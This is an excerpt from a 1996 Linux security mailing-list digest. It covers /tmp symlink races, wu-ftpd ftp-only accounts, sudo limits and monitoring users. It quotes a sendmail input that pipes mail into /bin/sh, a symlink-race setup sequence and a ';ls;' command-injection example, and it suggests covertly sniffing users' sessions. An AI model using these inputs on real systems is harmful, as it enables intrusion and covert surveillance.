SHELL=something-funky and su etc) Alan ------------------------------ From: Mark Whitis Date: Mon, 17 Jun 1996 22:07:13 -0400 (EDT) Subject: Re: [linux-security] Big security hole in kerneld's request_route On Sun, 16 Jun 1996, John Henders wrote: > Would it not be simpler to forbid linking to files that you don't have > write permission to? Allowing this seems to me to be very little > practical use except for use in various exploits. Is there a legitimate > use for this? This would be more likely to break things in the real world while still provided far less security than the techniques I was proposing which would only affect creation of files in selected public directories. [Mod: Does anyone have the POSIX spec's on symlinks handy? I'm guessing that the behavior John Henders suggested would be non-compliant as well, but I don't have the correct publication on hand to authoritatively verify my suspicions. --Jeff.] There are many situations where you might want to have symbolic links to files you only have read permission to. A few examples: - ~/bin/ps --> /usr/ucb/ps You have, say, a path that places system V versions first but you want to have the ucb version of ps. - ~/.profile --> /local/rc/default/profile You symlink, rather than copy, the default profile to users directories. Of course, this may confuse users, but it lets you update the default profile and have all uncustomized profiles automatically updated. (There are better ways to do this...). - ~/bin/more --> /usr/bin/less Could also be done with an alias, unless you are in /bin/sh. - ~/src/foo/readline --> /local/src/readline You wish to reference one package, which you do not maintain, from within the directory tree of another package you maintain using relative directory names. None of these examples are terribly compelling but my suspicion is that it is fairly common to link to directories or files you do not have read access to and that doing this would break many things. Root definitely should have the ability to create symbolic links to files which root does not have write access to (without doing a chmod). Files owned by root (such as everyting in /bin) are often "chmod ugo-w"'ed but should be allowed to be linked to; I shudder to think how many frail install scripts would break if this was not the case. Sometimes symbolic links are frequently created before the files they link to, also. For example, consider untarring a file which contains: a -> b b Link "a" will probably be unpacked before target file "b" because the files were probably put into the tar file in alphabetical order. So we have about zero chance of implementing this restriction without breaking many things. Of course if you let a user create a symlink to a file which does not exist YET, they may create a link to a file which they do not have write permission when it does exist (which protects /etc/passwd but not temporary files from this kind of attack). A restriction that you can link to the file if it does not exist only if you have write access to the directory the linked object would be in would be somewhat less restrictive but would still have many problems. Even if you restrict creation of links to files you have write access to, you still do not eliminate some of these security holes we are trying to address. It protects files such as /etc/passwd but offers no protection for files which will be created at some point in the future in a public directory if you can guess the names they will have. Suppose we can guess that a program will create a temporary file /tmp/foo at some time in the future. touch /tmp/foo ln -s /tmp/foo /tmp/bar rm /tmp/foo Now we can exploit some priviledged program which manipulates /tmp/bar to affect /tmp/foo. And unfortunately, some of the security holes involving public files give you far more control over when a file access occurs than the "find ... -exec rm {} \;" hole such as those that involve mail. As for the various suggestions of not putting security sensitive files in /tmp or allowing priviledged processes to use /tmp: - My suggestions regarding being able to selectively restrict symbolic linking ability were not intended to be the sole means of protection; they were intended to be used in conjuction with other protections. The intent was to create more than a single barrier to protect against these holes so that the failure or ommision of one barrier would not be sufficient to breach security. - /stmp won't work as well as its proponents may think. It assumes that there are only two levels of priviledge and every program which could possibly be executed at the higher level of privilidge must be capable of determining which level of privilidge it is executing at and behaving accordingly. When root runs a command it runs at a higher privledge than if an ordinary user runs the same command. Is "uucp" priviledged or unprivilidged? If you say uucp is priviledged than anyone who gains access to uucp is then potentionally root. In reality, there is really no userid or process (even "nobody") which can truly be considered unpriviledged. Instead, there are a variety of userid's and processes with different priviledges. Regarding the last point, it would be better to create temporary files within a directory structure such as: /safetmp/userid/processid/file With the equivalenet of - mkdir /safetmp/userid, if it does not exist - mkdir /safetmp/userid/processid, if it does not exist - test if we are the owner of /tmp/userid, and /tmp/userid/processid and abort if not. - chmod 700 /safetmp/userid (or at least "chmod go-w") - create/use - delete any temporary files created - delete the /safetmp/userid/processid directory - DO NOT delete the /safetmp/userid directory when done Of course you should still: - have symlinks disabled in /safetmp - or have symlink squashing code in your open routines, or both - and create all /safetmp/userid directories whenever a user is created. A set of functions should be added to the standard library to automatically manage tmp files. It is really silly that programs make their own decisions about where temporary files go anyway. Functions should be provided for shell scripts as well for those who are unable to rid themselves of this dangerous habit. An option to make /tmp map to /safetmp/userid/processid automagically would probably close a large number of security holes. It would probably break a few things but probably nothing major and probably very little that wasn't already in need of fixing anyway. Of course, you would only want to map the real /tmp, not chrooted /tmp's in anonymous ftpd, etc. - --------------------------------------------------------------------------- - --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- - --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- - --------------------------------------------------------------------------- ------------------------------ End of linux-security-digest V2 #30 *********************************** linux-security-digest/v02.n031100664 1767 1767 46447 6162535635 15466 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #31 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Friday, 21 June 1996 Volume 02 : Number 031 Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] Talk security? [linux-security] Re: Mprog Thread Re: [linux-security] Big security hole in kerneld's request_route [linux-security] sudo limiting Re: [linux-security] S/Key and Shadow Passwords Re: [linux-security] sudo limiting Re: [linux-security] standard users,grou Re: [linux-security] Talk security? Re: [linux-security] suspicious users ---------------------------------------------------------------------- From: [email protected] (Yury Shevchuk) Date: Mon, 17 Jun 96 09:09 +0400 Subject: Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Hello, In message Richard Jones writes: > I'm trying to use the wu.ftp ftpaccess file to setup a guestgroup whereby >users with listings in the /etc/passwd file can upload to certain >sections of a Linux-based web site. However, I'd like to deny these >people telnet access. In ftpaccess I use the line: > >guestgroup ftponly > >ftponly is defined as a group in /etc/group and its users have >/etc/passwd entries that look like: > >ftponlyuser1:sladfkj:12:324:FTP ONLY:/usr/ftp/./user1s_ftp_dir/:bin/false > >This is straight out of O'Reilly's Managing Internet Info. Services. >This doesn't work for me, though. With a shell set to /bin/false a user >is not allowed to ftp login. Is this a Linux thing? The user can ftp >login with /bin/bash or some other viable shell, but this opens up telnet >ability to the user (I can't use /etc/hosts.deny because it's too coarse). IMHO, this is an overlook in wu-ftpd: the daemon denies access to users whose shells are not listed in /etc/shells. Adding /etc/ftponly (or /bin/false) to /etc/shells is not the right way to go, though, since doing so would be against the definition of /etc/shells: that file should list only true unrestricted command interpreters (note: /usr/bin/chsh). On our site, ftponly logins work with the following hack to wu-ftpd, which skips the /etc/shells check for accounts that have /etc/ftponly as the login shell. BTW, /etc/ftponly is a link to /usr/bin/passwd on this system, which lets ftponly users to telnet to the system only to change their passwords (not my invention -- seen on one of linux mailing lists). - -- Yura =================================================================== RCS file: ftpd.c,v retrieving revision 1.1 retrieving revision 1.2 diff -u -r1.1 -r1.2 - --- 1.1 1995/02/14 21:32:14 +++ 1.2 1995/02/14 22:04:46 @@ -855,22 +855,31 @@ shell = _PATH_BSHELL; while ((cp = getusershell()) != NULL) if (strcmp(cp, shell) == 0) break; endusershell(); - - if (cp == NULL || checkuser(name)) { + /* if user is a member of any of the guestgroups, cause a chroot() */ + /* after they log in successfully */ + guest = acl_guestgroup(pw); + /* guestgroup users may have /etc/ftponly as a shell, even though */ + /* it is not in /etc/shells */ + if (cp == NULL && ! (guest && strcmp(shell, "/etc/ftponly") == 0)) { reply(530, "User %s access denied...", name); - - if (logging) - - syslog(LOG_NOTICE, - - "FTP LOGIN REFUSED (bad shell) FROM %s [%s], %s", - - remotehost, remoteaddr, name); + syslog(LOG_NOTICE, + "FTP LOGIN REFUSED (bad shell) FROM %s [%s], %s", + remotehost, remoteaddr, name); pw = (struct passwd *) NULL; return; } - - /* if user is a member of any of the guestgroups, cause a chroot() */ - - /* after they log in successfully */ - - guest = acl_guestgroup(pw); + if (checkuser(name)) { + reply(530, "User %s access denied...", name); + syslog(LOG_NOTICE, + "FTP LOGIN REFUSED (in ftpusers) FROM %s [%s], %s", + remotehost, remoteaddr, name); + pw = (struct passwd *) NULL; + return; + } } if (access_ok(530) < 1) { reply(530, "User %s access denied....", name); syslog(LOG_NOTICE, "FTP LOGIN REFUSED (access denied) FROM %s [%s], %s", remotehost, remoteaddr, name); ------------------------------ From: Sameer R Manek Date: Mon, 17 Jun 1996 01:12:28 -0700 (PDT) Subject: Re: [linux-security] Talk security? On Wed, 12 Jun 1996, Justin Dobbs wrote: > Hello, > > Are there any security holes associated with making the talk > program the shell of a potentially public account? The > shell would be /usr/bin/talk , with /usr/bin/talk > listed in the /etc/shells file. Is there a potential for > environment-style breakins? > > TIA, > > Justin Dobbs > It totally depends on on which talk client you use. especially if you use, ytalk which lets you have shell access Of course you couldn't really have /usr/bin/talk as a shell since talk needs an argument. Having a account that is hard coded to only do talk request to one account is kind of restrictive, unless this is the intent, (maybe like a help/guest/internet demo account) A better way to do this would have /bin/homebrew.sh be the script. This script would first ask the user what address they would like to send a talk request to, use a c-program instead of the shell read command. Because they could say they want to talk to [email protected];ls; Naturally writing your own shell opens up another can of worms. Good luck - -- Sameer Manek [email protected] - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The gates in my computer are AND, OR and NOT, not bill. - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= I will willingly give my private key to the CIA the same day the Bill Clinton gives me the keys to White House. ------------------------------ From: Renegade Date: Tue, 18 Jun 1996 23:23:23 -0400 Subject: [linux-security] Re: Mprog Thread Let's end this Mprog thread. What I saw happen with a early 6.xx version of sendmail was a bug [as Rogier Wolff has identified below], and not a property of the Mprog configuration. While it would be safer to disable the Mprog [as we were advised to do in the past] the problem is apparently fixed. Mprog allows aliases, and .forward files to transfer a mail message to a acutal program for processing. As an example, Majordomo uses the /etc/alias file to forward messages to Majordomo scripts. The original point I wanted to get across was that it was safer to disable the Mprog line if possible. I was slighty misinformed myself about the Mprog functionality. The other point was to alias all the non-user accounts [and root] to the actual administrator of the system. I also use TCP wrappers with booby traps for instant e-mail notification of an access attempts but that is another can of worms. I had no intention of disseminating incorrect information, and I apologize for sharing my misunderstanding about Mprog. Dave Rogier Wolff wrote: > > > Ok. A bug in the 6.xx versions it was possible to send > ------------------ > mail from: "|/usr/bin/tail |/bin/sh" > rcpt to: no-such-user > data > > here > are > exactly > 10 > lines > to > execute > as a > shell > script > ------------------ > This could be fixed by disabeling mailing to programs altogether by > deleting the Mprog line. > > Please be careful not to disseminate incorrect security information. > Indeed it is a good idea to disable the Mprog line, but not because > you can simply mail a shell script which will automatically get > executed. > > Roger. > - -- // mailto:[email protected] // http://www.dnaco.net/~renegade/ ------------------------------ From: Zefram Date: Mon, 17 Jun 1996 00:35:39 +0100 (BST) Subject: Re: [linux-security] Big security hole in kerneld's request_route - -----BEGIN PGP SIGNED MESSAGE----- >Another method would be to create a mount option "nosymlinks", similar >to "nosuid", and put your publicly writeable filesystems there. Every time another security hole involving symlinks in /tmp appears, someone suggests that we disable symlinks in /tmp somehow. A while ago someone suggested using the setuid bit on directories for this. The above is the best method I've seen suggested yet: it's simple, there's no way around it, and it's easy to code (it's very similar to the nodev option). Can someone with more time than me please implement this? -zefram - -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQCVAgUBMcSaH3D/+HJTpU/hAQGIggP/YLqvVr9QQuFayicxAYpER5AuZ4CRhWQl DKz6PBqeK40qu/Em8JJ8YRrVv2oiRROrSeMSr7CaBL68pYJYwSIAVJQGd077IGRG yVr39YPlUFROfsxrPWOQX/L/82BDwzKhwiOGVEMHwVgpSdMCB0cGer+vuivvUr5e /WXGSywXe5A= =hPc3 - -----END PGP SIGNATURE----- - -- Andrew Main ------------------------------ From: Blue Date: Tue, 18 Jun 1996 17:19:49 -0400 (EDT) Subject: [linux-security] sudo limiting Greetings, The recent thread on sudo has brought a question to me for practical usage. How to implement administrative accounts which have the permission to create or change passwords of arbitary users, without having access to change the root password. I was implementing user adding facilities for a small group whom still should not have root access via sudo and realized that they could just change the root password. I am loathe to do it with a setuid program, even though then I can run the username through a filter, due to the probelms having a program like that can create. Baring hacking passwd, or creating a restricted version of it, is there any secure way around this delima? TIA, Jim "Blue" Carstensen SysAdmin for Cybernex Inc. [email protected] ------------------------------ From: root Date: Thu, 20 Jun 1996 00:11:05 -0400 (EDT) Subject: Re: [linux-security] S/Key and Shadow Passwords > > Matthew Lessins ([email protected]) wrote: > : Is anyone using both of these concurrently (I'm running Slackware ver. 3.0, > : 1.2.13ELF)? I've made a couple small attempts with no luck. Just want to > : make sure that it's been done and that I'm not wasting too much of my > : time. Thanks... > > ftp://ftp.dhp.com/pub/crypto/skey/shadow-3.3.2-skey-950729.tar.gz > > It's based on an somewhat older version of the shadow suite, but it works. > At some point (next "stable" release of the gpl'd shadow-suite) I will > probably re-institute this into it (if it isn't fully integrated already). > 1) I would recommend getting the latest release version of shadow (3.3.2), which came out a while ago, and has S/Key built in. Instead of using S/Key, I use opie myself, which is made by the navy, supports MD5, And it seemed to compile and work better than bellcore's (the real one). It's available at ftp.nrl.navy.mil in directory /pub/security/opie. Minor modifications are needed to pwauth.c to make it compile. (If anyone cares, i can include a diff....) bye now algis rudys ------------------------------ From: shaggenbunsenburner Date: Wed, 19 Jun 1996 22:38:09 -0400 (EDT) Subject: Re: [linux-security] sudo limiting On Tue, 18 Jun 1996, Blue wrote: > I was implementing user adding facilities for a small group whom still > should not have root access via sudo and realized that they could just > change the root password. I am loathe to do it with a setuid program, > even though then I can run the username through a filter, due to the > probelms having a program like that can create. > > Baring hacking passwd, or creating a restricted version of it, is there > any secure way around this delima? I'd say hack /bin/passwd. It's been setuid for ages and I'd say it's considered pretty secure. It really, REALLY shouldn't be hard at all to make a /bin/sudo-passwd that disallows changes of the password for "root" or UID 0. Hacking source doesn't strike me as fun, but this is a really, REALLY small hack, and you can get the source in the shadow package. And this really looks like the best and easiest way to go. I don't really have a need for it here, but maybe I'll do it anyway tho if someone will take a look at my code afterwards. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: "Miller, Raul D." Date: Mon, 17 Jun 96 12:45:00 PDT Subject: Re: [linux-security] standard users,grou Lucas: Do not read mail from root, don't do user-things as root, and please dear god don't IRC as root. All of those previous mentioned could make you a sitting target for a wily cracker or a caniving prank. the root account is for doing things that regular users shouldn't be able to, a hidden command to create/destroy things. Do as you wish, but you only compromise security. Not necessarily. (1) If physical security is assured (e.g. a laptop, which you carry with you), passwordless root is reasonable. [You don't want to run any networking daemons in this configuration though.] (2) It's also reasonable to have root running on some vts directly from init. (/bin/open -w is a reasonable way of doing this, though it could be more space efficient). In this configuration, it's also reasonable to set the password field for root to * (no password). Again, this assumes that physical security is present. (3) If the machine is only occasional use (e.g. one of many), then it's reasonable to use either of the above configurations not as a user, but as root. This is no less secure than Dos, Windows, etc. It may result in a *more secure system* than requiring a username/password combination to use the machine. Here's why: If a lot of machines are in use, it's not reasonable to expect the user to remember unique username/password combinations for all machine. Thus you risk these things being written down on paper, stored in a file, or something equally bad. A variant on this is where the same username password is used on all machines -- here, if the combination is revealed in one environment it may be used to compromise another environment. Usernames+passwords only make sense in environments where more than one person has access to the machine. On the other hand, on a single user machine, it is reasonable to put some communications programs in a wrapper that drops most privileges before receiving anything (for example: chroot, setuid, fork, ...). - -- Raul ------------------------------ From: Vaughn Skinner Date: Mon, 17 Jun 1996 13:40:30 -0700 Subject: Re: [linux-security] Talk security? [Mod: Quoting trimmed. --Jeff.] The most obvious thing /etc/shells is used for is nonymous ftp. You probably don't want to allow ftp access to this account. If you do, things get a lot more complicated. But don't forget that it's used by other programs too; for example, GNU su (a security hole in itself, for obvious reasons) allows the user to run an arbitrary program instead of the target user's login shell, if the target user is an unrestricted account (login shell in /etc/shells). So, to summarise, *don't* put an insecure program in a privileged position, and *don't* list a restricted shell as unrestricted. -zefram (I eat my humble pills...) If it is a bad idea to put /bin/ftponly in /etc/shells, I need a new way to allow users to have ftp access without shell access. wu.ftpd requires the user's shell to be in /etc/shells. Is the solution a ftpd hack to accept /bin/ftponly as a valid shell? Is there a better way? vaughn ------------------------------ From: Suicide Object Date: Mon, 17 Jun 1996 23:07:21 +0200 (MET DST) Subject: Re: [linux-security] suspicious users On Thu, 13 Jun 1996, Peter Orbaek wrote: > > >I am becoming suspicious of some users on my system. I am wondering what is > >the best way to watch what they do or have done. > >What have you (the members of list) done to "babysit" these users. > - Hack their shell to log certain users' commands via syslog() or > to a special hidden file. It's actually quite useful to have > such shells installed all the time and be able to turn on > snooping for certain users in some config file. good idea. But what if he exec new_shell_safe 's ??? > - Use telnetsnoopd if they are coming in over telnet, this will allow > logging of their entire session. I've sometimes heard of problems > with telnetsnoopd: that it may sit around buring CPU time to no > good use, so be careful. well, telnet snooping is nice for irc sessions, but who has the time to sit around and look what he is doing? better use a packet sniffer and log... > - Use tcpdump or snoop (Solaris) to dump eg. all telnet packets > going from/to a certain host. This can generate a LOT of data. not if you use it wisely. log all he types on port 23 for starters. 513, 21,.... some packetsniffers even allow you to get a realtime viewing of his screen (I've seen tcpdump do it, and use sniffit for it frequently. by the way, sniffit is a packetsniffer written for linux, available http://reptile.rug.ac.be/~coder/sniffit/sniffit.html) major advantage of packetsniffing is that you can do it 1. centralised (one host for an entire segment) 2. unnoticed. no way a user can notice it (or know he *isn't*) disadvantages: only logs the medium you have access over (so no console logins, ppp connections if on another host) Secure shell is also a nice game-braker :-) (well, that's why *I* use it) > With linux you could also hack the kernel to log output to certain > tty's somewhere, maybe this is already possible? Add a couple > of ioctl calls to the tty driver to set dumping conditions and > where to dump the stuff. > > Does Linux support process logging these days? isn't there a standard acct for this? (I never tried it on linux, the man page doesn't look to inviting anyways :-) > Of course, all of this should be done only be people wearing white > hats! Your users will hate you if you do this without proper > cause. > > If you're a commercial access provider, it would be advisable to tell your > users up front that you can and will eavesdrop on them if you suspect > foul play. a nice login disclaimer: Note: This system is for the use of authorized users only. Individuals using this computer without authority, or in excess of their authority, are subject to having all of their activities on this system monitored and recorded by system personnel. Tracing you is currently sponsored by Glock 17L (tm) Wim Vandeputte, Tunnel Vision and the scars to prove it "Is it time to shut down and lay to rest the Bomb that Servant Suicide Object worshipped like a God" -- NIVEK OGRE ------------------------------ End of linux-security-digest V2 #31 *********************************** linux-security-digest/v02.n032100664 1767 1767 51170 6163762555 15460 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V2 #32 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 25 June 1996 Volume 02 : Number 032 Re: [linux-security] sudo limiting Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Re: [linux-security] sudo limiting [linux-security] publically writable directories Re: [linux-security] S/Key and Shadow Passwords [linux-security] A secure (?) nfs-server ? Re: [linux-security] S/Key and Shadow Passwords Re: [linux-security] Talk security? Re: [linux-security] sudo limiting Re: [linux-security] standard users,groups,perms? Re: [linux-security] suspicious users Re: [linux-security] standard users,grou ---------------------------------------------------------------------- From: Greg Spiegelberg Date: Thu, 20 Jun 1996 06:07:18 -0400 (EDT) Subject: Re: [linux-security] sudo limiting Blue said, and I indent... - -- - --Greetings, - -- - --The recent thread on sudo has brought a question to me for practical usage. - -- - --How to implement administrative accounts which have the permission to - --create or change passwords of arbitary users, without having access to - --change the root password. - -- - --I was implementing user adding facilities for a small group whom still - --should not have root access via sudo and realized that they could just - --change the root password. I am loathe to do it with a setuid program, - --even though then I can run the username through a filter, due to the - --probelms having a program like that can create. - -- - --Baring hacking passwd, or creating a restricted version of it, is there - --any secure way around this delima? I could be wrong here but for temporary fix you could modify the sudo function set_perms() (line 759 of cu-sudo v1.4) to -not- set the effective uid in all cases and replace your current passwd/npasswd/yppasswd programs to check the euid. setuid() in the latest libc still only modifies the uid not euid, right? Just a guess. The other option is to not allow sudo users the passwd command(s). - -- Greg "Twotone" Spiegelberg - [email protected] UNIX System Administrator/Crash Dummy Lucent "But we'd rather be called AT&T Bell Labs" Technologies ------------------------------ From: Matt Stainforth Date: Thu, 20 Jun 1996 08:41:07 -0300 (ADT) Subject: Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell On Mon, 17 Jun 1996, Yury Shevchuk wrote: > IMHO, this is an overlook in wu-ftpd: the daemon denies access to > users whose shells are not listed in /etc/shells. Adding /etc/ftponly > (or /bin/false) to /etc/shells is not the right way to go, though, > since doing so would be against the definition of /etc/shells: that > file should list only true unrestricted command interpreters (note: > /usr/bin/chsh). > I believe that rather than an oversight in wu-ftpd, it is a built-in feature. Many administrators use a non-standard shell in order to lock accounts. Something like this is what I use: #!/usr/bin/perl # This is the shell used for locked accounts # -Matt Stainforth print "Sorry, this account is locked.\n\n"; if ( -r "$ENV{'HOME'}/.lockreason" ){ open (LKR, "$ENV{'HOME'}/.lockreason"); while (){ print; } close (LKR); chop ($sleep = `wc -w $ENV{'HOME'}/.lockreason`); $sleep = $1 if $sleep =~ /^\s*(d+)/; $sleep = 10 if $sleep < 10; } else{ $sleep=5 } print "Contact the Computing Services UNIX administrator for more information.\n"; sleep $sleep; exit 1; This shell is not listed in /etc/shells and so if it is made a user's default shell, the account is truly locked. No telnet and no FTP access. Matt... ______________________________________________________________________________ Matthew Stainforth Information Systems Analyst require "disclaim.pl"; NBCC - Moncton Campus &Disclaim($opinions)||die "drop dead $!"; Phone: (506) 856-2249 Email: [email protected] _/\o_ ______________________________________________________________________________ ------------------------------ From: shaggenbunsenburner Date: Fri, 21 Jun 1996 10:37:59 -0400 (EDT) Subject: Re: [linux-security] sudo limiting On Fri, 21 Jun 1996, Felix von Leitner wrote: > > I'd say hack /bin/passwd. It's been setuid for ages and I'd say it's > > considered pretty secure. > > Really? Du you remember the race condition problem because passwd > creates a file in /tmp? Well, I should have known that as soon as I said "considered secure" someone would prove me wrong :) With a few black marks, however, /bin/passwd has been a safe program to use to change passwords. And I'd vouchsafe that even with no changes it's safer than something written from scratch, if only because it's been around longer. It's really a fairly minor change to implement anyway (making a passwd-sudo or similar) in the source; all you do is do an extra check to make sure no one's changing the passwd for "root" (or bin, daemon, et al). Maybe just disallow changes to any UID under 100 or something? Slackware's default "adduser" starts adding users at 500, maybe that could be the lower limit? shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine ------------------------------ From: Thomas Koenig Date: Fri, 21 Jun 1996 22:13:59 +0200 (MET DST) Subject: [linux-security] publically writable directories Following a thread on bugtraq, I checked wether Linux was indeed vulnerable to putting symlinks into publically writable directories, i.e. /tmp: $ uname -s -r Linux 2.0.0 $ rm -f myfile bar $ cat symlink.c #include #include #include int main() { int fd; fd = open("myfile",O_CREAT|O_EXCL, 0600); if (fd == -1) { perror("open failed"); } return 0; } $ cc symlink.c $ ln -s bar myfile $ ls -l myfile lrwxrwxrwx 1 ig25 ig00 3 Jun 21 21:55 myfile -> bar $ ./a.out open failed: File exists So, it appears that Linux 2.0.0 is safe from this attack, at least. >From what I read on bugtraq, so are IRIX 5.3, SunOS 4.1.2 and 4.1.3_U1, Ultrix 4.1, 4.2 and 4.3A, and DEC OSF/1 2.1 and 3.2. IRIX 4.0.1 and 4.0.5f seem to be vulnerable, as is HP-UX 9.0.5. - -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. ------------------------------ From: Benedikt Stockebrand Date: Fri, 21 Jun 1996 02:19:42 +0200 Subject: Re: [linux-security] S/Key and Shadow Passwords | 1) I would recommend getting the latest release version of shadow | (3.3.2), 3.3.2 has a security hole and should be upgraded. Check the Shadow-PW-Howto for details. Ben - -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. ------------------------------ From: Leonardo Costantini 339846/IL Date: Thu, 20 Jun 1996 10:39:05 +0200 (MET DST) Subject: [linux-security] A secure (?) nfs-server ? Hi all I need to install a REAL secure nfs, can someone tell me wich version should I use ? Should I looking for a new rpc.portmapd too? (note : the machine is connected also to sun nfs-server/client ) Thanks all Leonardo ------------------------------ From: Achim Dreyer Date: Fri, 21 Jun 1996 08:32:15 +0200 (MET DST) Subject: Re: [linux-security] S/Key and Shadow Passwords - -----BEGIN PGP SIGNED MESSAGE----- > Subject: Re: [linux-security] S/Key and Shadow Passwords Hy, A related question: Is there any version of telnet/login that allows S/Key + SRA + Shadow passwords ? Ciao, Achim - -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBMcpQB8gO8XTmh2atAQFlgAQAqf5dMaTUew1VxB7Pat+N2pmwpi9JAF7w QcgbnIJhOzHlJwlnSvpKy5GIIizrxCkJzE/yXvdETyrJ3YiE7CR40o1SYUuOAPEt lAgs6apNIlhsUTElB9ManiiXiB2BQPh01nFlqLZ8PQ1SWI03WrWmVfv9BzJR+LCM NpYgZMUHmr8= =znYq - -----END PGP SIGNATURE----- ------------------------------ From: Michael Brennen Date: Fri, 21 Jun 1996 17:24:42 -0500 (CDT) Subject: Re: [linux-security] Talk security? On Mon, 17 Jun 1996, Vaughn Skinner wrote: > The most obvious thing /etc/shells is used for is nonymous ftp. You > probably don't want to allow ftp access to this account. If you do, > things get a lot more complicated. But don't forget that it's used by > other programs too; for example, GNU su (a security hole in itself, for > obvious reasons) allows the user to run an arbitrary program instead of > the target user's login shell, if the target user is an unrestricted > account (login shell in /etc/shells). > > So, to summarise, *don't* put an insecure program in a privileged > position, and *don't* list a restricted shell as unrestricted. > > ...... > > If it is a bad idea to put /bin/ftponly in /etc/shells, I need > a new way to allow users to have ftp access without shell access. > > wu.ftpd requires the user's shell to be in /etc/shells. > > Is the solution a ftpd hack to accept /bin/ftponly as a valid > shell? Is there a better way? /etc/ftponly should not exist, and it does not have to exist. Make /etc/ftponly as the shell in /etc/passwd and put it in /etc/shells, but don't create it. It does not have to exist to use this as a login shell for ftp. It doesn't work very well as a login shell if it doesn't exist. I suppose some one could create it as a valid login shell; monitoring for this might be prudent. Other than that it seems clean enough. Have I missed something? -- Michael ------------------------------ From: "Miller, Raul D." Date: Fri, 21 Jun 96 19:20:00 PDT Subject: Re: [linux-security] sudo limiting Hacking /bin/passwd offers *no* security against someone with root access. Remember, all it's doing is modifying some files. It's always possible to do this with other tools (e.g. an editor, a private copy of passwd). A right way to deal with this problem, in my opinion, is (1) logging -- keep the logs off the multi-user system. Also, stay outside the computer when dealing with people who do things that they aren't supposed to (like disable logging, or change root password or whatever). (2) encryption -- this isn't as much of a win as you might think, because it's often possible to grab snapshots of the encryption handling program. This is about as secure as handing out the passwords. If you can get the encryption done in a non-multi-user context this can be a good thing. When combined with logging it's even better. Unfortunately, both of these mechanisms have drawbacks -- they can seriously impair the usefulness of a collaborative system. A better solution, if you can work it, is to partition the system so that secure information is not available on a system that can be accessed by people who shouldn't have it. Of course, that doesn't usually work either. A compromise, and it's looking better to me every week, is the Posix.6 stuff that's being worked on for Linux (not ready yet). - -- Raul ------------------------------ From: "Joseph S. D. Yao" Date: Fri, 21 Jun 1996 19:52:52 -0400 Subject: Re: [linux-security] standard users,groups,perms? #!/bin/sh -c "echo 'BOOOOOOOM!'" Oh, dear. > I would have to agree. But I would like to point out at least > one thing that can be done for root mail security. Many sendmail > implementations have a dangerous default setup that amounts to a line > like this in the sendmail.cf file: > Mprog, P=/bin/sh, F=lsDFMeu, S=10, R=20/40, D=$z:/, > Basically if a e-mail message begins like a sh shell script > with a first line of: > #!/bin/sh > The email will be executed as a shell script (At the time > it is read). ... Let's not get alarmist. ("Run for your lives! The Good Times virus is real!") If this were true, this mail message would have just echoed "BOOOOOOOM!", and you would not be reading it. The "prog" delivery agent tells what to do if 'sendmail' gets a mail address in the form of "|filter" - in other words, a "pipe" symbol (vertical bar) followed by a filter program name, to which the mail message is passed as input. On a properly configured system, this mail address can't be received in the ordinary way, but only as an alias or a forwarding address. So, it must have been set up by somebody ON YOUR SYSTEM - preferably, with some idea of what he or she was doing. It should never be something that could cause damage or denial of service - - although one of my workmates' use of elm's "filter" program came near to denying HIM service. Remember, OBTW, that sendmail is not even running when you read your mail!!! Sendmail is the mail transfer agent, which calls the mail delivery agent (/bin/mail, /bin/sh, whatever). Your 'mail', 'mailx', 'elm', 'pine', or PC junk is the mail reader. If you are using Eudora, e.g., from your PC, how can sendmail initiate a "BOOM"? ;-) Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: "/* (c) 1996 dMv */" Date: Sat, 22 Jun 1996 01:10:18 -0400 (EDT) Subject: Re: [linux-security] suspicious users On Mon, 17 Jun 1996, Suicide Object wrote: > On Thu, 13 Jun 1996, Peter Orbaek wrote: > > > - Hack their shell to log certain users' commands via syslog() or > > to a special hidden file. It's actually quite useful to have > > such shells installed all the time and be able to turn on > > snooping for certain users in some config file. > > good idea. But what if he exec new_shell_safe 's ??? Point. On both fronts: it is good to have one (or a few) around, but it is avoidable (andd very possibly avoided if infact the user is doing things unauthorized) > > - Use telnetsnoopd if they are coming in over telnet, this will allow > > logging of their entire session. I've sometimes heard of problems > > with telnetsnoopd: that it may sit around buring CPU time to no > > good use, so be careful. > > well, telnet snooping is nice for irc sessions, but who has the time to > sit around and look what he is doing? > > better use a packet sniffer and log... > some packetsniffers even allow you to get a realtime viewing of his screen > major advantage of packetsniffing is that you can do it > 1. centralised (one host for an entire segment) > 2. unnoticed. no way a user can notice it (or know he *isn't*) > > disadvantages: only logs the medium you have access over (so no console > logins, ppp connections if on another host) > Secure shell is also a nice game-braker :-) (well, that's why *I* use it) There are those disadvantages. But the same thing stands for telnetsnoop. If used unwisely, it can be unuseful, and generate a lot of data. However, if you log the data to a file, and have it search for certain things, based on what you want to know. It has the advantage that not everyone has their privacy needlessly violated. > > With linux you could also hack the kernel to log output to certain > > tty's somewhere, maybe this is already possible? Add a couple > > of ioctl calls to the tty driver to set dumping conditions and > > where to dump the stuff. > 